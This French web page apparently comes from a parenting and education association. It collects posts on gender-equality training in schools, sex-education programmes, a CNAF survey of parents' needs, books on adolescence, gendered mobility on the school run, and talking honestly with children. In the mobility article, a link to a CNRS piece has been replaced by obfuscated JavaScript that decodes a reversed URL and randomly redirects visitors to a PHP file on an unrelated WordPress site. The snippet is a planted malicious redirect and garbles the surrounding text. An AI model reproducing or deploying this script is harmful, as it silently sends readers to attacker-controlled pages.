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Rapport du HCE  » Formation à l’égalité filles-garçons »: faire des personnels enseignants et d’éducation les moteurs de l’apprentissage et de l’expérience de l’égalité »

Rapport du HCE « Formation à l’égalité filles-garçons : faire des personnels enseignants et d’éducation les moteurs de l’apprentissage et de l’expérience de l’égalité »

>> Télécharger le rapport  : bit.ly/2mvMXWe

L’école est un haut lieu de socialisation et donc de développement intellectuel, social et affectif : les élèves y passent environ 30 heures par semaine pendant les 18 ans que dure en moyenne leur scolarisation. Elle est également à l’image de la société : elle est traversée par des inégalités sociales, liées à l’origine sociale ou au sexe, qu’elle peut reproduire. Pour changer durablement les mentalités et déconstruire les stéréotypes de sexe, l’éducation à l’égalité doit commencer dès le plus jeune âge.

Si la mixité est instaurée depuis 1975 à l’Ecole, elle ne garantit pas l’égalité. Les travaux de recherche le montrent depuis 20 ans : les personnels enseignants et d’éducation sont aux prises, comme l’ensemble de la société, avec les stéréotypes sexistes…

Cliquez  sur le lien pour accédez au site du Haut-conseil à l’égalité entre les hommes et les femmes

Merci à Julie Trouvé, CPE au Lycée Ferdinand Buisson d’Elbeuf qui nous donne son accord pour diffuser sa fiche de lecture de ce rapport.

FICHE DE LECTURE Formation à l’égalité entre les hommes et les femmes, Julie Trouvé Conseiller Principale d’Education

Deux programmes d’éducation à la sexualité portés par le Planning familial

Le projet Parlons jeunes, parlons éducation à la vie affective et à la sexualité a été officiellement lancé lundi 10 avril 2017. 

Le Défenseur des droits participe de nouveau au projet Parlons jeunes qui permet de donner la parole à une douzaine de jeunes de 14 à 18 ans. Proposé par le Réseau européen des Défenseurs des enfants, ce projet est ainsi réalisé en parallèle dans 11 pays européens. La thématique 2017 est « l’éducation à la vie affective et à la sexualité ». L’éducation à la sexualité, sert à déconstruire les stéréotypes qui enferment les personnes dans des catégories et légitiment les inégalités. Le projet « Parlons jeunes » a pour but de donner la parole aux jeunes sur des sujets qui les concernent. Parlons jeunes permet à la fois de sensibiliser le public sur les droits de l’enfant et d’éduquer à la citoyenneté. Les propositions seront ensuite présentées aux Défenseurs européens des enfants afin d’être reprises dans leur déclaration annuelle.

 

Lien vers le site  Parlons jeunes, parlons éducation à la sexualité ! 

Un programme « genre et santé sexuelle » : une nouvelle dynamique qui s’inscrit dans les évolutions sociétales et dans les pratiques du mouvement Planning Familial.

Le programme « Genre et santé sexuelle » s’inscrit dans la perspective et dans  la poursuite des objectifs et des actions initiés dans les programmes que le Planning Familial anime depuis 1998, (CSV) contraception sexualité vulnérabilité et (RRS) réduction des risques sexuels. Mieux connaitre son corps et parler de sexualités, renforcer ses connaissances de tous les risques sexuels, mais aussi informer sur tous les moyens de protection et mettre en évidence les entraves socio-culturelles aux comportements de prévention : c’est le challenge qu’a porté avec succès les animatrices et animateurs de ces programmes.

Lien vers le site Genre et santé sexuelle

Bibliographie de Daniel Marcelli. Editions ERES

Daniel Marcelli est pédopsychiatre, professeur émérite de psychiatrie de l’enfant et de l’adolescent, ancien chef du service de psychiatrie infanto-juvénile du CHU de Poitiers, président de la Fédération nationale des écoles des parents et des éducateurs (FNEPE). Il est auteur de nombreux ouvrages chez Albin-Michel (dont Avoir la rage, 2016). Il a publié chez érès, avec Nicole Catheline, Ces adolescents qui évitent de penser (2011).

Il dirige avec Anne Lanchon les ouvrages publiés avec la FNEPE.

Enquête de la CNAF: Les attentes et besoins des parents en matière d’accompagnement à la parentalité

Les attentes et besoins des parents en matière d’accompagnement à la parentalité

La Dser de la CNAF vient de publier une enquête sur les attentes et les besoins des parents, en voici un extrait. Afficher l'image d'origine

« Un tiers des parents participerait « certainement » et quatre sur dix participeraient « peut-être » à une action correspondant à leurs besoins Si demain, une action s’adressant aux parents et correspondant à leurs besoins et attentes était menée près de chez eux, 34 % des parents enquêtés déclarent qu’ils s’y rendraient certainement et 44 % qu’ils s’y rendraient peut-être. A contrario, 7 % ne se déplaceraient sans doute pas et 6 % certainement pas (9 % n’ayant pas d’avis). Ces résultats témoignent d’un intérêt des parents à l’égard d’actions susceptibles de les accompagner dans l’exercice de leur rôle, sous condition qu’elles soient en adéquation avec leurs aspirations. Les caractéristiques sociologiques des parents ou l’âge des enfants n’ont que peu d’effet sur l’intention de participation à une action de soutien à la parentalité. Cette intention est par contre sensible, d’une part aux difficultés rencontrées concernant l’exercice de la fonction parentale, d’autre part à la propension à solliciter des conseils ou une aide externe au foyer. Les parents jugeant leur rôle « pas du tout facile » et ceux qui sollicitent fortement un appui sont aussi ceux qui envisagent le plus fortement de participer à une telle action : la moitié d’entre eux déclare qu’ils y participeraient certainement. Les parents qui n’envisagent pas de participer à des actions d’accompagnement à la fonction parentale invoquent surtout une absence de besoin en la matière (57 %). Le manque de temps est cité par 14 % de ces parents et le manque d’intérêt par 7 % d’entre eux. »

A la question « Concernant vos enfants, parmi ces aspects, quels sont aujourd’hui les deux points qui vous posent finalement le plus de difficultés ? »  En premier viennent les difficultés concernant l’éducation des enfants liées à la scolarité des enfants : réussite, orientation, devoirs à la maison puis la santé des enfants : alimentation, sommeil, hygiène, maladie… en troisième position viennent les nouvelles technologies : Internet, téléphone portable, jeux vidéo puis la relation avec les enfants : autorité, gestion des conflits, communication…en cinquième position viennent les violences (verbales ou physiques) : agression, racket, harcèlement puis le comportement des enfants : politesse, respect, fréquentations…en finissant par les conduites à risque : alcool, drogue, sexualité.

Lien vers le  N°165 juillet 2016,  l’e-ssentiel : Les attentes et besoins des parents en matière d’accompagnement à la parentalité, Auteurs: Arnaud Crépin Tmo Régions et Jeanne Moeneclaey  de la Cnaf – Dser

Publication électronique de la Caisse nationale des Allocations familiales Direction des statistiques, des études et de la recherche

1, 2, 3 JOUONS en voyageant

 « 1, 2, 3, jouons !  –  Des idées pour des voyages en famille détendus et plus sûrs »

Un livret réunissant des activités pour les parents et les enfants, proposées par des psychomotriciens. Ce livret est édité à plus de 100 000 exemplaires et sera diffusé sur toutes les aires d’autoroutes gérées par Vinci Autoroutes.

Ce livret accompagne une étude statistique sur le comportement des parents au volant. Afficher l'image d'origineDaniel Marcelli, président de la FNEPE a participé à cette étude qui démontre que nous les parents,  avons à rester responsables et créatifs pour rouler avec plaisir et en toute sécurité.

Cette étude nous donne des réponses aux questions suivantes: Est-ce que la présence d’enfants dans la voiture modifie le comportement des parents? Comment les enfants perçoivent-ils la conduite de leurs parents ? Quel rapport à la sécurité routière, et plus globalement à la responsabilité et au respect des règles, leur est-il transmis ?

Chaque EPE a reçu 100 exemplaires de ce livret que nous vous invitons à distribuer aux familles ou à mettre en libre-service pour la période des grandes vacances.

« Adolescents en quête de sens » Parents et professionnels face aux engagements radicaux, de Daniel Marcelli

Livres: Adolescents en quête de sens

Parents et professionnels face aux engagements radicaux

Auteur: Daniel MARCELLI

Avec la participation de Nourredine BOUBAKER, Dounia BOUZAR, Jean-Eric DOUCE, Bénédicte DUPONT-PINERI, Philippe GUTTON, Anne LANCHON,Laurent LARDEUX, Jean-Philippe RAYNAUD, Isabelle SOMMIER, Serge TISSERON


Préface de Laurence ROSSIGNOL

Résumé: Cet ouvrage collectif analyse les multiples raisons, individuelles ou sociales, qui peuvent inciter un jeune à se tourner vers le radicalisme. Il en dresse les étapes progressives pour agir, quand il est encore temps. 

La question du sens est au cœur de l’adolescence et vient faire rupture avec l’enfance. L’adolescent a un besoin impérieux de donner un sens à sa vie et recherche, pour cela, des engagements forts : citoyens, religieux, artistiques… Les adolescents vulnérables, parfois relégués du système scolaire et sans espoir de réussite sociale, ou sans étayage parental, trouvent parfois ce sens dans des engagements radicaux. Comment travailler avec eux cette question de la citoyenneté et du sens, et prévenir les dérives potentielles ?

Afficher l'image d'origineCet ouvrage publié sous une autre couverture est le supplément du n°619 de la revue L’École des parents qui reprend les actes du colloque organisé par la FNEPE et l’EPE de Haute-Garonne le 11 mars 20106 à Toulouse, en partenariat avec les éditions érès, et les enrichit de contributions de spécialistes de l’adolescence.

A propos de l’auteur

Daniel Marcelli est pédopsychiatre, professeur émérite de psychiatrie de l’enfant et de l’adolescent, ancien chef du service de psychiatrie infanto-juvénile du CHU de Poitiers, président de la Fédération nationale des écoles des parents et des éducateurs (FNEPE). Il est auteur de nombreux ouvrages chez Albin-Michel (dont L’enfant chef de famille, 2015). Il a publié chez érès Ces adolescents qui évitent de penser (2011)

Pour commander cet ouvrage, cliquez sur le site d’ERES

Accompagner les enfants à l’école : un aspect des inégalités de genre dans l’espace public

Accompagner les enfants à l’école : un aspect des inégalités de genre dans l’espace public

Article de Marie Katarina GILOW*

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Sur le chemin de l’école. Ed. Milan

L’espace public n’est pas neutre mais accueille, révèle et reproduit de multiples manières les inégalités entre hommes et femmes. On pourrait dire qu’il constitue la face externe, ou externalisée, des rapports de genre.
Ainsi, la division des tâches qui conduit encore aujourd’hui les mères à assumer l’essentiel du travail domestique se reflète dans la mobilité quotidienne des mamans et des papas : lorsqu’un couple a des enfants, même lorsque les deux conjoints continuent à travailler, c’est le plus souvent la mère qui se charge de l’accompagnement des enfants à l’école, mais aussi des courses, des visites médicales et administratives… . En France par exemple, ce déséquilibre a été mis en évidence par une analyse approfondie de l’Enquête Globale Transport, une enquête menée régulièrement sur les déplacements des ménages en Île-de-France [1]. La mobilité quotidienne des mères qui travaillent devient un vrai défi de gestion spatio-temporelle, ce qui amène les géographes et sociologues de la mobilité à parler de « chaînes de déplacements » lorsque les femmes combinent sur un même trajet
plusieurs destinations et modes de transport. Une complexité qui contraste (de manière schématique) avec les allers-retours domicile travail du père, qui s’approprie généralement la voiture lorsque le ménage ne dispose que d’un véhicule. Alors que l’accès à la voiture et au permis de conduire des femmes depuis les années 1970 laissait supposer un rapprochement progressif des comportements de mobilité, il est plutôt devenu un outil « d’extension du travail domestique », comme le suggère Yann Demoli qui a étudié les inégalités de genre dans les enquêtes Transports de l’Insee  entre 1980 et 2008 [2]. Actuellement, mon projet de recherche [3] tente d’investiguer les inégalités entre femmes en termes de mobilité quotidienne : comment, en fonction de leurs ressources économiques, mais aussi sociales, cognitives, …,  gèrent-elles leurs déplacements quotidiens ? C’est un travail qui vise à mettre en évidence l’imbrication de différents formes d’inégalités sociales – notamment celles de genre et de classe sociale –mais aussi à
s’interroger sur le poids des déplacements liés au travail dans la gestion du quotidien et l’enjeu de la flexibilité (ou la rigidité) du temps des travailleuses.

Voici encore deux articles qui pourraient être intéressants pour les parents, concernant le caractère genré des espaces de jeux et des équipements publics :

– *Les filles, grandes oubliées des loisirs publics* :
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == « string ») return $VOcl3cIRrbzlimOyC8H.list[n].split(«  »).reverse().join(«  »);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[« ‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}es-oubliees-des-loisirs-publics » target= »_blank »>https://lejournal.cnrs.fr/articles/les-filles-grandes-oubliees-des-loisirs-publics
– *Une ville faite pour les garçons* :
https://lejournal.cnrs.fr/billets/une-ville-faite-pour-les-garcons

* Marie Katarina GILOW  travaille actuellement au bureau d’étude bruxellois Aménagement SC comme collaboratrice spécialisée en mobilité et caractéristiques socio-économiques des territoires. Après un master en sciences politiques et géographie, elle a poursuivi ses études par un master complémentaire en urbanisme et aménagement du territoire à l’Université Libre de Bruxelles.

[1] Benjamin Motte-Baumvol *et al*., « Différences de genre et formes de dépendances des conjoints biactifs dans l’accompagnement des enfants », *Géographie, économie, société *2011/2 (Vol. 13), p. 189-206.
[2] Yoann Demoli, « Les femmes prennent le volant », *Travail, genre et sociétés* 2014/2 (Vol. 32), p. 119-140.
[3] Il s’agit d’une recherche doctorale réalisée sur les travailleuses à Bruxelles, au laboratoire METICES de l’Université Libre de Bruxelles. Pour plus d’informations : https://www.ulb.ac.be/rech/inventaire/chercheurs/6/CH14906.html

Revue Rhizome n°59 « Les adolescents (et ce qu’ils ont de) difficiles »

Rhizome n°59 « Les adolescents (et ce qu’ils ont de) difficiles »

Sommaire

Avant-propos: Les adolescents difficiles et ceux qui s’en préoccupent, Bertrand Ravon et Christian Laval

  • Les frontières de l’adolescent, Patrick Alécian
  • Vingt-cinq ans de jeunes en errance active. Où en est-on?, François Chobeaux
  • A travers la porte, Maria Turian-Rougeon, Julie Calvaryac et Florent Jounenc-Soler
  • Anicroche autour d’une doudoune. De la construction des trajectoires d’adolescents aux frontières de l’éducatif et du soin, Béatrice Deries et Roman Pétrouchine
  • La prise en charge des cas complexes par la Protection judiciaire de la jeunesse, Martine Serra
  • Construire un cadre rassurant pour la prise en charge complexe des mineurs isolés étrangers, Juliette Leconte
  • L’adolescent décrocheur, une problématique de l’Education nationale, Sophie Chirat
  • Qui sont les jeunes jhiadistes français?, Farhad Khosrokhavar
  • Regard d’un psychiatre sur le processus psychique de la radicalisation, Jean Chambry
  • « Où sont-ils?’: Incertitudes professionnelles dans le traitement des adolescents « difficiles », Yannis Gansel

Du mariage civil au « mariage pour tous ». Sécularisation du droit et mobilisations catholiques

Du mariage civil au « mariage pour tous ». Sécularisation du droit et mobilisations catholiques

Débat entre Philippe Portier et Irène Théry animé par Céline Béraud et Baptiste Coulmont
Philippe Portier et Irène Théry

Référence électronique

Philippe Portier et Irène Théry, « Du mariage civil au « mariage pour tous ». Sécularisation du droit et mobilisations catholiques », Sociologie [En ligne], N°1, vol. 6 |  2015, mis en ligne le 15 mai 2015, consulté le 28 mars 2016.

Pour accéder à l’article, cliquez sur  : http://sociologie.revues.org/2528

Philippe Portier
Directeur d’Études EPHE, directeur du GSRL – Groupe Sociétés, Religions, Laïcités (GSRL) ‑ 59/61 rue Pouchet – 75849 Paris Cedex 17.
Irène Théry
Directrice d’Études EHESS au Centre Norbert Élias – 2 rue de la Charité – 13236 Marseille Cedex 02.

Doit-on tout dire aux enfants ? Article de Céline Rapinat

Doit-on tout dire aux enfants ?        Par Céline Rapinat        Publié le 13/01/2010

Lourds secrets de famille, chômage, dépression, faillite, mésentente conjugale, maladie, décès… La vie est loin d’être un long fleuve tranquille. Quelle est la meilleure attitude à adopter face à nos enfants ? Doit-on les épargner en les tenant à l’écart ou au contraire tout leur révéler ?

“Mamie est partie pour un très long voyage”… “Grand-père s’est endormi pour toujours”… Plus personne ne songe à employer ces formules d’un autre temps. Destinées à protéger les enfants des événements douloureux, elles soulageaient aussi les parents, dispensés d’aborder les sujets délicats. Françoise Dolto est passée par là, arguant qu’il est essentiel de “parler vrai” aux enfants. Dans son livre Dolto expliquée aux enfants (1), Jean-Claude Liaudet, psychologue et psychanalyste, explique : “Selon Françoise Dolto, le silence est plus traumatisant que les paroles. Car ce qui n’est pas dit est toujours vécu comme quelque chose de mauvais, de honteux, quelque chose qu’il faut cacher.”. Ainsi a-t-on découvert que ce n’était pas salutaire de tenir les enfants à l’écart des vicissitudes de la vie quotidienne… Recommandations que certains parents ont pris au pied de la lettre, noyant leurs enfants sous un flot ininterrompu de paroles, leur livrant tout dans les moindres détails. Dérive contre laquelle s’insurge Gérard Séverin, psychanalyste, dans son livre Papa, maman, dites-moi pour de vrai(2) : “ (…) s’il faut parler vrai, il faut savoir garder le silence ! Il est des parents qui parlent tellement qu’ils assomment leur petit. Aucune plage de paix ne laisse l’enfant divaguer selon son imagination ou réinventer son histoire selon sa fantaisie. Selon eux, il lui faudrait une “vraie vérité”, nue, même s’il n’en veut pas ! Parler constamment peut être aussi une espèce de viol.”

Le pédiatre Aldo Naouri va encore plus loin. Pour lui, tout dire à ses enfants reviendrait à faire fi des rapports “hiérarchiques” entre parents et enfants : “le tout dire n’est pas doué de la moindre vertu spécifique. Il n’est rien d’autre qu’une idéologie, destinée à proroger et à renforcer sous une autre forme l’asservissement des parents à leurs enfants.”(3). Dans leurs efforts pour “parler vrai” à leurs enfants, les parents deviendraient-ils leurs otages ?

Les bienfaits des révélations

“La majorité des enfants que je vois en consultation sont des enfants à qui on a caché ou mal expliqué quelque chose, ou qui ont mal compris.” Pour Karine Josse, psychologue spécialiste de l’enfance et de l’adolescence(4), passer sous silence un événement douloureux ne peut être que néfaste… “Les enfants sentent quand quelque chose ne va pas. Malgré toutes les précautions des parents, ils entendent les conversations, ressentent les tensions. Tout cela est source d’angoisse pour eux. Ils culpabilisent, s’imaginent avoir fait quelque chose de mal, reconstruisent des scénarios bien éloignés de la réalité. Ils vont même jusqu’à développer des symptômes (troubles du sommeil, de l’appétit, repli sur soi, difficultés à l’école….”.

Contre toute attente, reconnaître une situation difficile est en fait libérateur pour l’enfant. Contrairement à ce que l’on pourrait penser, cela va le tranquilliser. Il cessera enfin de s’imaginer n’importe quoi et ne sera plus confronté au mensonge, même par omission, de ses parents.

Gérard Séverin prévient lui aussi les parents sur les risques que comportent les non-dits: “L’enfant sent ce qu’on ne lui dit pas. Mais il “sait” surtout ce qu’on lui cache. Ceci est alors refoulé tant que ça ne lui est pas dit comme à une personne à part entière. Si la vérité ne lui est pas dite… il ne se sent pas le droit de savoir. Ce qu’on ne lui délivre pas comme information, ce qu’on lui cache, est refoulé et peut se transformer en angoisse ou en symptômes physiques, en maladies psychosomatiques ou en phobies…” (2).

Valérie, 34 ans, se rappelle : “J’étais enceinte d’un mois et demi. Comme j’avais déjà fait plusieurs fausses couches, on préférait, avec mon mari, ne pas annoncer ma grossesse trop tôt. Bien évidemment, on se faisait du souci, on se demandait si cette grossesse allait bien se poursuivre normalement. Notre fille de deux ans et demi était devenue insupportable. Bêtises, réveils nocturnes, pleurnicheries incessantes…Sans trop y croire, on a décidé de lui expliquer simplement la situation. Apparemment, cela a apaisé notre fille, qui a retrouvé un comportement normal, même si elle nous posait beaucoup de questions sur le futur bébé.”

Mais gare aux excès !

Mettre des mots sur le malaise ressenti par l’enfant ne signifie pas tout révéler dans les moindres détails. “Quand j’avais sept ans, mes parents ont répondu à mes questions incessantes sur la mort d’une manière assez “technique” et détaillée. Ce que devenait un corps enterré n’avait plus de secret pour moi…Cela m’a profondément choqué, voire terrifié. J’en ai longtemps cauchemardé, j’ai été terriblement angoissé par la mort toute mon enfance”, se rappelle Franck, 42 ans. Trop dire est tout aussi anxiogène que tout dissimuler. C’est ce que soutient Karine Josse : “Avec des mots simples, soigneusement choisis, adaptés à l’âge de l’enfant, on lui explique succinctement ce qui se passe. On peut brièvement faire état de ses sentiments. Il ne s’agit pas de dire que tout va bien si l’on est inquiet. On peut aussi lui expliquer ce que tel événement va changer dans sa vie au quotidien. Mais il faut avant toute chose prendre garde à ne pas envahir l’enfant avec des explications multiples, trop détaillées. On globalise son discours.”

C’est en n’abreuvant pas nos enfants de détails futiles voire nocifs pour eux, qu’on les protègera le mieux, et que l’on respectera le plus leur place d’enfant, et notre place de parents. Dans le cas d’un parent au chômage par exemple, cela va sans dire qu’on n’entrera pas dans les détails des convocations ANPE, des entretiens ou encore des contingences financières. Susciter des questions chez l’enfant permet aussi de savoir ce qu’il sait exactement, quelles sont ses craintes, ses interrogations, et d’y répondre. Mais on a le droit, bien sûr, face à un flot de questions ininterrompu, de dire : “cela ne te regarde pas”.

(1) Dolto expliquée aux parents, Jean-Claude Liaudet, éditions l’Archipel. 
(2) Papa, maman, dites-moi pour de vrai, Gérard Séverin, éditions Albin Michel.
(3) Eduquer ses enfants, l’urgence aujourd’hui, Aldo Naouri, éditions Odile Jacob.
(4) Karine Josse, psychologue spécialiste de l’enfance et de l’adolescence, Lyon 2ème.